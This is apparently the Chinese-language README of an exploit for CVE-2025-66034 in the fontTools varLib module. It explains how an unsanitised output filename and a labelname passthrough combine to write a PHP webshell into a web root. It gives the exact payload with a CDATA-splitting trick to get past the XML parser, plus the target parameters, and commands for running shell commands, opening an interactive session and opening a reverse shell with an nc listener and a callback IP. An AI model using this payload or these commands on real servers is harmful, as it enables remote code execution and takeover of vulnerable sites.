
CVE-2025-66034漏洞利用和文档
fontTools 是一个用于操作字体文件的 Python 库。其 varLib 模块处理 .designspace 文件——一种 XML 格式,用于描述如何插值多个字体母版以生成可变字体。
受影响版本中存在两个弱点:
1. 未净化的输出文件名
designspace 文件中的 <variable-font filename="..."> 属性控制 varLib 将编译后的输出字体写入何处。该库在将此路径传递给文件系统前未进行任何验证或规范化。攻击者可以提供绝对路径或路径遍历序列,将输出文件写入进程具有写权限的任何位置。
2. 输出中透传的 XML 内容
fontTools 将 <labelname> 元素中的轴标签名称直接作为原始字节序列化到输出字体的名称表中,且未对内容进行净化。放置在 <labelname> 块中的任何字符串(包括 PHP 代码)都会原样写入所写的文件中。
这两个弱点结合,使得能够向基于 fontTools 的 Web 端点提交 designspace 文件的攻击者,可以将任意内容的任意文件写入服务器的任何可写路径。
designspace 文件包含两次注入。
第一次注入在 <labelname> 元素中:
<labelname xml:lang="en"><![CDATA[<?php system($_REQUEST["cmd"]);?>]]]]><![CDATA[>]]></labelname>
XML 中的 CDATA 部分允许包含任意字符数据而无需实体转义,但其自身不能包含序列 ]]>,因为该序列会终止 CDATA 部分。PHP 的闭合标签 ?> 如果直接写入会导致解析错误。序列 ]]]]><![CDATA[> 在 ]] 之后立即关闭一个 CDATA 部分,并打开一个新的 CDATA 部分,起始字符为 >,因此最终渲染的内容为 <?php system($_REQUEST["cmd"]);?>——语法上有效的 PHP——且从未触发 XML 解析器错误。
第二次注入在输出路径中:
<variable-font name="MyFont" filename="/var/www/app/public/files/webshell.php">
fontTools 会直接根据此字符串构建输出文件句柄,不进行路径规范化。该文件会在此确切位置被创建。
varLib 至少需要一个源字体才能编译。母版不一定是真实字体——一个仅包含单个空字形的最小 TTF 即可通过验证。此漏洞利用中嵌入的 base64 TTF 是使用 fontTools 的 FontBuilder 生成的,仅包含一个带有方形轮廓的 .notdef 字形以及所需的最小表(head、hhea、OS/2、cmap、glyf、hmtx、name、post)。
漏洞利用程序将 designspace 和 TTF 作为 multipart/form-data POST 请求提交到 Web 应用程序的字体生成端点。服务器将文件传递给 varLib.build()。varLib 解析 designspace,读取母版,编译可变字体,并将其写入 filename= 指定的路径——即 Web 根目录。
所写的文件是一个包含 PHP 载荷的二进制字体文件。PHP 的解析器会扫描文件中的开始标签,而不是要求文件完全由 PHP 组成。当 Web 服务器将该文件作为 PHP 处理时,会找到 <?php system($_REQUEST["cmd"]);?> 并执行它。标签前后的所有内容都会被原样输出并忽略。
响应体是原始的字体二进制数据。命令输出位于两个可预测的地标之间,这些地标是 fontTools 写入名称表中的:
TestWeight400——源自嵌入母版 TTF 中的 family 和 weight class 字段]]>ThinMEOW2——源自 designspace 中的法文 <labelname> 元素漏洞利用程序通过 BeautifulSoup 在响应中截取这两个字符串之间的内容,并去除残留的 XML 标签,从而得到清晰的命令输出。
pip install requests beautifulsoup4
需要三个目标参数。没有硬编码的默认值。
--process-url 字体处理器端点的完整 URL
--shell-url 写入后 WebShell 可访问的完整 URL
--write-path 服务器写入 Shell 的文件系统路径
可选参数:
--session PHPSESSID cookie 值(如果门户需要认证)
--no-plant 跳过上传步骤(Shell 已存在)
--hostname 交互式提示中显示的标签
python3 exploit.py \
--process-url http://app.example.com/tools/variable-font-generator/process \
--shell-url http://portal.example.com/files/webshell.php \
--write-path /var/www/portal.example.com/public/files/webshell.php \
exec 'id'
python3 exploit.py \
--process-url http://app.example.com/tools/variable-font-generator/process \
--shell-url http://portal.example.com/files/webshell.php \
--write-path /var/www/portal.example.com/public/files/webshell.php \
--session YOUR_PHPSESSID \
--hostname webserver \
interactive
先启动监听:
nc -lvnp 4444
然后触发:
python3 exploit.py \
--process-url http://app.example.com/tools/variable-font-generator/process \
--shell-url http://portal.example.com/files/webshell.php \
--write-path /var/www/portal.example.com/public/files/webshell.php \
revshell 10.10.16.1 4444
反弹 Shell 的载荷在传输前会进行 base64 编码,以避免 cmd 查询参数中出现 shell 元字符转义问题。
存在于 varLib 模块的 build() 函数和 designspace 解析器中。